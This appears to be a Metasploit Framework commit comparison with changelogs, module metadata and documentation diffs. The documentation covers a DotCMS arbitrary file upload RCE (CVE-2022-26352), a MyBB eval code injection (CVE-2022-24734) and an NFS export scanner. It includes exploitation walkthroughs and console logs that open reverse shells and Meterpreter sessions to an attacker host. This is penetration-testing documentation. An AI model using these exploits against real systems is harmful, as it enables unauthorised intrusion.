Compare commits

...

35 Commits

Author SHA1 Message Date
Jack Heysel 8ccc1ebf91 Land PR #16628, Log ntlm_session hashes
This PR fixes the logging and storing of
NTLM session hashes
2022-06-02 11:20:37 -04:00
Metasploit 6942e0ca0e automatic module_metadata_base.json update 2022-06-02 08:52:54 -05:00
Christophe De La Fuente 474116d413 Land #16611, DotCMS File Upload to RCE Module (CVE-2022-26352) 2022-06-02 15:30:10 +02:00
Grant Willcox 44a22ab720 Land #16640, Patch LDAP for sychronous reads 2022-06-01 16:12:09 -05:00
Metasploit f036950ea1 automatic module_metadata_base.json update 2022-06-01 10:49:34 -05:00
space-r7 6d3ccab1be Land #16435, add Microsoft SQL Server sqli support 2022-06-01 10:27:48 -05:00
jheysel-r7 97caca4f6e Update modules/exploits/multi/http/dotcms_file_upload_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2022-06-01 10:54:02 -04:00
Metasploit 87e7e5c813 automatic module_metadata_base.json update 2022-05-31 11:29:18 -05:00
Jack Heysel bea4207c62 Land PR #16607 - MyBB RCE Module (CVE-2022-24734)
This exploit module leverages an improper input validation
vulnerability in MyBB prior to 1.8.30 to execute arbitrary
code in the context of the user running the application.
2022-05-31 11:59:53 -04:00
Metasploit 3261cd1ee3 automatic module_metadata_base.json update 2022-05-31 05:23:36 -05:00
Christophe De La Fuente dac355d9cf Land #16492, nfs_mount more intelligent mountability 2022-05-31 11:56:19 +02:00
Jack Heysel 2c02a607ee Responded to PR feedback 2022-05-30 14:46:54 -04:00
h00die c6936bd42f nfs mount more intelligent 2022-05-30 13:03:03 -04:00
Christophe De La Fuente b996f5ee49 Fixes from code review 2022-05-30 16:24:18 +02:00
h00die 627605cf82 nfs mount more intelligent 2022-05-30 09:49:24 -04:00
h00die b8cebe0dbe nfs mount more intelligent 2022-05-30 09:47:00 -04:00
Metasploit b464f97c5e automatic module_metadata_base.json update 2022-05-27 11:51:08 -05:00
adfoster-r7 a98f9a69c4 Land #16621, Fix timeout of duplicated sessions 2022-05-27 17:30:56 +01:00
Spencer McIntyre 0c481ed9c9 Patch LDAP for synchronous reads 2022-05-27 10:57:28 -04:00
Spencer McIntyre 1e5f86703f Report the correct JtR type 2022-05-27 10:16:02 -04:00
Spencer McIntyre 862c6a94a2 Log ntlm_session hashes too
Despite being called ntlm_session, these hashes are capable of being
cracked as the John 'netntlm' format. Additionally the format is
reported as NTLMv1-SSP in similar tools.
2022-05-27 10:07:39 -04:00
sjanusz 7b75bd6e27 Cache remote Python binary name 2022-05-27 10:21:59 +01:00
Metasploit a1613d6070 Bump version of framework to 6.2.1 2022-05-26 12:04:57 -05:00
sjanusz 17a37a9d4d Detect more Python binaries & don't run last cmd_exec as channelized 2022-05-25 15:21:40 +01:00
Jack Heysel 9d9d81a855 Docs update 2022-05-24 10:16:36 -04:00
Christophe De La Fuente bac9be956f Add documentation 2022-05-23 17:27:42 +02:00
Christophe De La Fuente 1f304ef2c4 Add module exploit for MyBB RCE - CVE-2022-24734 2022-05-23 17:27:20 +02:00
Jack Heysel 3afb9b2ffe dotCMS file upload to RCE module 2022-05-20 15:57:22 -04:00
Jack Heysel 4f4287eb6b Module working on linux 2022-05-19 09:37:48 -04:00
h00die 6f6e7718dd nfs mount more intelligent 2022-05-08 11:35:59 -04:00
h00die 978dfe9b74 nfs mount more intelligent 2022-05-08 08:48:53 -04:00
Redouane NIBOUCHA 90937e6daa Address feedback from space-r7 2022-05-06 00:31:20 +02:00
h00die 3b5719ec88 nfs mount more intelligent 2022-04-23 07:11:00 -04:00
h00die 44ab99c89f nfs mount more intelligent 2022-04-23 07:02:37 -04:00
Redouane NIBOUCHA 87a21bd117 Add the MSSQL injection library 2022-04-22 06:19:36 +02:00
20 changed files with 1822 additions and 191 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.0)
metasploit-framework (6.2.1)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
+10 -10
View File
@@ -10,14 +10,14 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.587.0, "Apache 2.0"
aws-sdk-core, 3.130.2, "Apache 2.0"
aws-sdk-ec2, 1.314.0, "Apache 2.0"
aws-partitions, 1.588.0, "Apache 2.0"
aws-sdk-core, 3.131.0, "Apache 2.0"
aws-sdk-ec2, 1.315.0, "Apache 2.0"
aws-sdk-iam, 1.68.0, "Apache 2.0"
aws-sdk-kms, 1.56.0, "Apache 2.0"
aws-sdk-kms, 1.57.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
aws-sigv4, 1.5.0, "Apache 2.0"
bcrypt, 3.1.17, MIT
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.10, ruby
bson, 4.15.0, "Apache 2.0"
@@ -41,7 +41,7 @@ erubi, 1.10.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.20.0, MIT
faker, 2.21.0, MIT
faraday, 1.10.0, MIT
faraday-em_http, 1.0.0, MIT
faraday-em_synchrony, 1.0.0, MIT
@@ -70,7 +70,7 @@ io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.3.6, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.1, ruby
json, 2.6.2, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.0, MIT
loofah, 2.18.0, MIT
@@ -78,7 +78,7 @@ memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.7, "New BSD"
metasploit-framework, 6.1.44, "New BSD"
metasploit-framework, 6.2.1, "New BSD"
metasploit-model, 4.0.4, "New BSD"
metasploit-payloads, 2.0.87, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
@@ -158,13 +158,13 @@ rspec-rails, 5.1.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.0, MIT
rubocop, 1.29.1, MIT
rubocop-ast, 1.17.0, MIT
rubocop-ast, 1.18.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.1.2, "New BSD"
ruby_smb, 3.1.3, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.8.2, MIT
+134 -3
View File
@@ -16681,7 +16681,7 @@
"https"
],
"targets": null,
"mod_time": "2021-11-11 11:37:55 +0000",
"mod_time": "2022-05-06 00:22:52 +0000",
"path": "/modules/auxiliary/gather/billquick_txtid_sqli.rb",
"is_install_path": true,
"ref_name": "gather/billquick_txtid_sqli",
@@ -39835,7 +39835,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-05-30 13:03:03 +0000",
"path": "/modules/auxiliary/scanner/nfs/nfsmount.rb",
"is_install_path": true,
"ref_name": "scanner/nfs/nfsmount",
@@ -81913,6 +81913,69 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/dotcms_file_upload_rce": {
"name": "DotCMS RCE via Arbitrary File Upload.",
"fullname": "exploit/multi/http/dotcms_file_upload_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-05-03",
"type": "exploit",
"author": [
"Shubham Shah",
"Hussein Daher",
"jheysel-r7"
],
"description": "When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the\n file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename\n passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a\n specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get\n written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special\n .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.",
"references": [
"CVE-2022-26352",
"URL-https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/"
],
"platform": "Linux,Windows",
"arch": "",
"rport": 8443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Java Linux",
"Java Windows"
],
"mod_time": "2022-06-01 10:54:02 +0000",
"path": "/modules/exploits/multi/http/dotcms_file_upload_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/dotcms_file_upload_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/drupal_drupageddon": {
"name": "Drupal HTTP Parameter Key/Value SQL Injection",
"fullname": "exploit/multi/http/drupal_drupageddon",
@@ -85958,6 +86021,74 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/mybb_rce_cve_2022_24734": {
"name": "MyBB Admin Control Code Injection RCE",
"fullname": "exploit/multi/http/mybb_rce_cve_2022_24734",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-03-09",
"type": "exploit",
"author": [
"Cillian Collins",
"Altelus",
"Christophe De La Fuente"
],
"description": "This exploit module leverages an improper input validation\n vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in\n the context of the user running the application.\n\n MyBB Admin Control setting page calls PHP `eval` function with an\n unsanitized user input. The exploit adds a new setting, injecting the\n payload in the vulnerable field, and triggers its execution with a\n second request. Finally, it takes care of cleaning up and removes the\n setting.\n\n Note that authentication is required for this exploit to work and the\n account must have rights to add or update settings (typically, myBB\n administrator role).",
"references": [
"URL-https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f",
"URL-https://www.zerodayinitiative.com/advisories/ZDI-22-503/",
"URL-https://github.com/Altelus1/CVE-2022-24734",
"CVE-2022-24734"
],
"platform": "Linux,PHP,Unix,Windows",
"arch": "php, cmd, x86, x64",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"PHP",
"Unix (In-Memory)",
"Linux (Dropper)",
"Windows (In-Memory)",
"Windows (Dropper)"
],
"mod_time": "2022-05-30 16:24:18 +0000",
"path": "/modules/exploits/multi/http/mybb_rce_cve_2022_24734.rb",
"is_install_path": true,
"ref_name": "multi/http/mybb_rce_cve_2022_24734",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"config-changes",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/nas4free_php_exec": {
"name": "NAS4Free Arbitrary Remote Code Execution",
"fullname": "exploit/multi/http/nas4free_php_exec",
@@ -202118,7 +202249,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-03-22 10:24:25 +0000",
"mod_time": "2022-05-27 10:21:59 +0000",
"path": "/modules/post/multi/manage/shell_to_meterpreter.rb",
"is_install_path": true,
"ref_name": "multi/manage/shell_to_meterpreter",
@@ -1,65 +1,102 @@
## Vulnerable Application
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system.
The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version.
Installation instructions for NFS can be found for every operating system.
The [Ubuntu](https://ubuntu.com/server/docs/service-nfs)
instructions can be used as an example for installing and configuring NFS. The
following was done on Kali linux:
1. `apt-get install nfs-kernel-server`
2. Create 2 folders to share:
```
mkdir /tmp/open_share
mkdir /tmp/closed_share
```
3. Add them to the list of shares:
```
echo "/tmp/closed_share 10.1.2.3(ro,sync,no_root_squash)" >> /etc/exports
echo "/tmp/open_share *(rw,sync,no_root_squash)" >> /etc/exports
```
4. Restart the service: `service nfs-kernel-server restart`
In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode.
1. `apt-get install nfs-kernel-server`
2. Create folders to share and add them to exports (adjust 192.168.1.x as needed):
```
mkdir /tmp/star
echo "/tmp/star *(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_hostname
echo "/tmp/not_us_hostname foo(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_hostname
echo "/tmp/us_hostname bar(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_ip
echo "/tmp/not_us_ip 1.1.1.1(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_ip
echo "/tmp/us_ip 192.168.1.111(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_subnet
echo "/tmp/not_us_subnet 1.1.1.1/24(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_subnet
echo "/tmp/us_subnet 192.168.1.1/24(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/not_us_netmask
echo "/tmp/not_us_netmask 1.1.1.1/255.255.255.0(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/us_netmask
echo "/tmp/us_netmask 192.168.1.1/255.255.255.0(rw,no_subtree_check)" >> /etc/exports
mkdir /tmp/empty
echo "/tmp/empty (rw,no_subtree_check)" >> /etc/exports
```
3. Restart the service: `service nfs-kernel-server restart`
## Options
### PROTOCOL
Which networking protocol to use. Options are `udp` and `tcp`. Defaults to `udp`.
### LHOST
IP to match shares against if `Mountable` is true. Defaults to the detected local IP address.
### HOSTNAME
Hostname to match shares against if `Mountable` is true. Defaults to `` (empty string)
## Advanced Options
### Mountable
Determine if an export is mountable based on `LHOST` and `HOSTNAME`. Defaults to `true`. Pre 2022 behavior was `false`
## Verification Steps
1. Install and configure NFS
2. Start msfconsole
3. Do: `use auxiliary/scanner/nfs/nfsmount`
4. Do: `run`
1. Install and configure NFS
2. Start msfconsole
3. Do: `use auxiliary/scanner/nfs/nfsmount`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
A run against the configuration from these docs
```
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(nfsmount) > run
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/open_share [*]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/closed_share [10.1.2.3]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
```
[*] Scanned 24 of 240 hosts (10% complete)
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
[*] Scanned 48 of 240 hosts (20% complete)
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
[*] Scanned 72 of 240 hosts (30% complete)
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
[*] Scanned 96 of 240 hosts (40% complete)
[+] 10.10.xx.xx NFS Export: /common []
```
```
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(nfsmount) > run
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/empty [*]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/star [*]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_netmask [10.1.1.1/255.255.255.0]
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_netmask [1.1.1.1/255.255.255.0]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_subnet [10.1.1.1/24]
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_subnet [1.1.1.1/24]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_ip [192.168.1.111]
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_ip [1.1.1.1]
[*] 127.0.0.1:111 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
```
[*] Scanned 24 of 240 hosts (10% complete)
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
[*] Scanned 48 of 240 hosts (20% complete)
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
[*] Scanned 72 of 240 hosts (30% complete)
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
[*] Scanned 96 of 240 hosts (40% complete)
[+] 10.10.xx.xx NFS Export: /common []
```
## Confirming
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to verify this configuration issue.
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to
verify this configuration issue.
The following are other industry tools which can also be used.
### [nmap](https://nmap.org/nsedoc/scripts/nfs-showmount.html)
@@ -73,8 +110,14 @@ Host is up (0.000037s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
| /tmp/open_share *
|_ /tmp/closed_share 10.1.2.3
| /tmp/empty *
| /tmp/star *
| /tmp/us_netmask 10.1.1.1/255.255.255.0
| /tmp/not_us_netmask 1.1.1.1/255.255.255.0
| /tmp/us_subnet 10.1.1.1/24
| /tmp/not_us_subnet 1.1.1.1/24
| /tmp/us_ip 192.168.1.111
|_ /tmp/not_us_ip 1.1.1.1
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
```
@@ -86,14 +129,21 @@ showmount is a part of the `nfs-common` package for debian.
```
showmount -e 127.0.0.1
Export list for 127.0.0.1:
/tmp/open_share *
/tmp/closed_share 10.1.2.3
/tmp/empty *
/tmp/star *
/tmp/us_netmask 10.1.1.1/255.255.255.0
/tmp/not_us_netmask 1.1.1.1/255.255.255.0
/tmp/us_subnet 10.1.1.1/24
/tmp/not_us_subnet 1.1.1.1/24
/tmp/us_ip 192.168.1.111
/tmp/not_us_ip 1.1.1.1
```
## Exploitation
Exploiting this mis-configuration is trivial, however exploitation doesn't necessarily give access (command execution) to the system.
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS), or it is open (*), mounting is trivial.
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS),
or it is open (*), mounting is trivial.
The following instructions were written for Kali linux.
1. Create a new directory to mount the remote volume to: `mkdir /mnt/remote`
@@ -0,0 +1,186 @@
## Vulnerable Application
### Description
This module exploits an arbitrary file upload vulnerability in dotCMS versions before 22.03, 5.3.8.10, 21.06.7 in each
respective stream. The module uploads a jsp payload to the tomcat ROOT directory and accesses it to trigger its execution.
### Clone and build a vulnerable version of dotCMS:
This requires Java 1.8 to be installed and JAVA_HOME to be set (see below for per OS instructions).
1. `git clone https://github.com/dotCMS/core.git`
1. `cd core`
1. `git checkout 7d604e5 (this is vulnerable version 21.06)`
1. `cd dotCMS/`
1. `./gradlew createDist`
```
Starting a Gradle Daemon (subsequent builds will be faster)
<output truncated>
BUILD SUCCESSFUL in 12m 53s
21 actionable tasks: 19 executed, 2 up-to-date
```
If the build was successful you should now have a vulnerable 21.06 linux and windows instance:
```
msfuser@ubuntu:~/core/dotCMS$ ls -l ../dist-output/
total 811132
-rw-rw-r-- 1 msfuser msfuser 413134562 May 20 10:22 dotcms_21.06.tar.gz
-rw-rw-r-- 1 msfuser msfuser 417462181 May 20 10:24 dotcms_21.06.zip
```
Inside each of the above compressed directories exists a directory `dotserver` which contains the vulnerable app.
### Ubuntu 20.04 install
#### Install JAVA 1.8
1. `export JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"`
1. `export PATH=$JAVA_HOME/bin:$PATH`
1. `sudo apt-get install openjdk-8-jdk`
#### Install Postgres
1. `sudo apt install postgresql -y`
1. `sudo -u postgres psql`
1. Change the default database, username and password from `dotcms` to `postgres` (or create the db and user `dotcms`).
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties`
```
##Postgres default configuration
driverClassName=org.postgresql.Driver
jdbcUrl=jdbc:postgresql://localhost/postgres
username=postgres
password=postgres
```
#### Install Elastic Search
1. `sudo apt install apt-transport-https ca-certificates wget`
1. `wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -`
1. `sudo sh -c 'echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" > /etc/apt/sources.list.d/elastic-7.x.list'`
1. `sudo apt update`
1. `sudo apt install elasticsearch`
1. `sudo systemctl daemon-reload `
1. `sudo systemctl enable elasticsearch.service`
1. `sudo systemctl start elasticsearch.service`
1. `sudo systemctl status elasticsearch.service`
1. Edit `dotcms-config-cluster.properties` to ensure the following properties are set:
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/dotcms-config-cluster.properties`
```
ES_ENDPOINTS=http://localhost:9200
ES_PROTOCOL=http
ES_HOSTNAME=localhost
ES_PORT=9200
ES_TLS_ENABLED=false
```
#### Run dotCMS
1. `cd dotserver/tomcat-9.0.41/bin/`
1. `chmod 755 *.sh`
1. `catalina.sh run`
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
### Windows 10 install
#### Install Java 1.8
1. Download and follow wizard to install:
https://www.oracle.com/java/technologies/downloads/#license-lightbox
#### Install Elasticsearch 8.2.0
Download and follow wizard to install:
https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.2.0-windows-x86_64.zip dotcms-config-cluster.properties
1. Ensure dotcms-config-cluster.properties contains the same properties as specified above
#### Install Postgres 10.21
1. Download and follow wizard to install:
https://www.enterprisedb.com/postgresql-tutorial-resources-training?uuid=ea5c8104-3940-4ed1-b427-81cf19781581&campaignId=70138000000rYFmAAM
1. Ensure db.properties contains the same properties as specified above
#### Run dotCMS
1. `cd dotserver\tomcat-9.0.41\bin\`
1. `catalina.bat run`
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
## Verification Steps
1. `use multi/http/dotcms_file_upload_rce`
2. `set RHOSTS [ips]`
3. `set LHOST [ips]`
4. `run`
## Scenarios
### Ubuntu 20.04 dotCMS 21.06:
```
msf6 > use exploit/multi/http/dotcms_file_upload_rce
[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227
rhosts => 172.16.199.227
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[+] Deleted ../webapps/ROOT/XZhKXIssjD.jsp
[+] Deleted ../webapps/ROOT/M4NYE9Kb.jsp
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.227:39610) at 2022-05-20 15:01:25 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu 5.13.0-41-generic #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
```
### Windows 10 dotCMS 21.06:
```
msf6 > use dotcms_file_upload_rce
[*] Using exploit/multi/http/dotcms_file_upload_rce
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231
rhosts => 172.16.199.231
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[!] Tried to delete ../webapps/ROOT/AkqMhxCZWr.jsp, unknown result
[!] Tried to delete ../webapps/ROOT/xdPfn9JTdu33X.jsp, unknown result
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.231:50016) at 2022-05-20 12:41:36 -0400
Shell Banner:
Microsoft Windows [Version 10.0.19042.1706]
(c) Microsoft Corporation. All rights reserved.
-----
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>whoami
whoami
desktop-h1lncdm\administrator
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>systeminfo
systeminfo
Host Name: DESKTOP-H1LNCDM
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19042 N/A Build 19042
<output truncated>
```
Note on windows the module reports an unknown result when trying to delete the files though it does successfully
@@ -0,0 +1,356 @@
## Vulnerable Application
This exploit module leverages an improper input validation vulnerability in
MyBB prior to `1.8.30` to execute arbitrary code in the context of the user
running the application.
MyBB Admin Control setting page calls PHP `eval` function with an unsanitized
user input. The exploit adds a new setting, injecting the payload in the
vulnerable field, and triggers its execution with a second request. Finally, it
takes care of cleaning up and removes the setting.
Note that authentication is required for this exploit to work and the account
must have rights to add or update settings (typically, myBB administrator
role).
## Installation Steps
### Linux with Docker
- Use this `docket-compose.yml` file (see [this](https://github.com/mybb/docker#-via-docker-stack-deploy-or-docker-compose)):
```
services:
mybb:
image: mybb/mybb:1.8.29
volumes:
- ${PWD}/mybb:/var/www/html:rw
nginx:
image: nginx:mainline-alpine
ports:
- published: 8080
target: 80
volumes:
- ${PWD}/nginx:/etc/nginx/conf.d:ro
- ${PWD}/mybb:/var/www/html:ro
postgresql:
environment:
POSTGRES_DB: mybb
POSTGRES_PASSWORD: changeme
POSTGRES_USER: mybb
image: postgres:14-alpine
volumes:
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
version: '3.8'
```
- Create `nginx/default.conf`
```
upstream mybb {
server mybb:9000 weight=5;
}
server {
listen 80;
root /var/www/html;
index index.html index.php;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ inc/ {
internal;
}
location ~ ^/(images|cache|jscripts|uploads)/ {
access_log off;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass mybb;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
```
- Run `docker-compose up`.
- Access the application at `http://127.0.0.1:8080/install` and finish the installation process.
### Windows with Nginx, PHP and MySQL
- Install MySQL:
- Follow the installation process [here](https://dev.mysql.com/doc/refman/8.0/en/windows-installation.html)
- Install PHP:
- Download PHP (Non Thread Safe) [here](http://windows.php.net/download/)
- Extract everything to `C:\php`
- run:
```
cd C:\php
set PHP_FCGI_CHILDREN=5
set PHP_FCGI_MAX_REQUESTS=500
php-cgi.exe -b 127.0.0.1:9999
```
- Install Nginx:
- Download Nginx [here](http://nginx.org/en/download.html)
- Extract everything to `C:\nginx`
- Set the following options to `C:\nginx\nginx.conf`
```
worker_processes auto;
...
server {
listen 80;
root www;
index index.html index.php;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ inc/ {
internal;
}
location ~ ^/(images|cache|jscripts|uploads)/ {
access_log off;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9999;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
```
- Run:
```
cd C:\nginx
start nginx.exe
```
- Install MyBB
- Follow the installation process [here](https://docs.mybb.com/1.8/install/).
## Verification Steps
1. Install the application (see [Installation Steps](#installation-steps))
1. Start msfconsole
1. Do: `use exploit/multi/http/mybb_rce_cve_2022_24734`
1. Do: `run LHOST=<local host IP> RHOSTS=<remote host IP> USERNAME=<MyBB user> PASSWORD=<MyBB password>`
1. You should get a shell.
1. Try again with a different targets
## Options
### USERNAME
The username of a privileged MyBB account. It must have rights to add or update setting (usually with the administrator role)
### PASSWORD
The password of the MyBB account.
## Scenarios
### Windows (target 0 - PHP)
```
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
[*] Started reverse TCP handler on 192.168.1.44:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Sending stage (39860 bytes) to 192.168.1.215
[*] Meterpreter session 1 opened (192.168.1.44:4444 -> 192.168.1.215:63777) at 2022-05-23 15:41:40 +0200
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
meterpreter > sysinfo
Computer : DC02
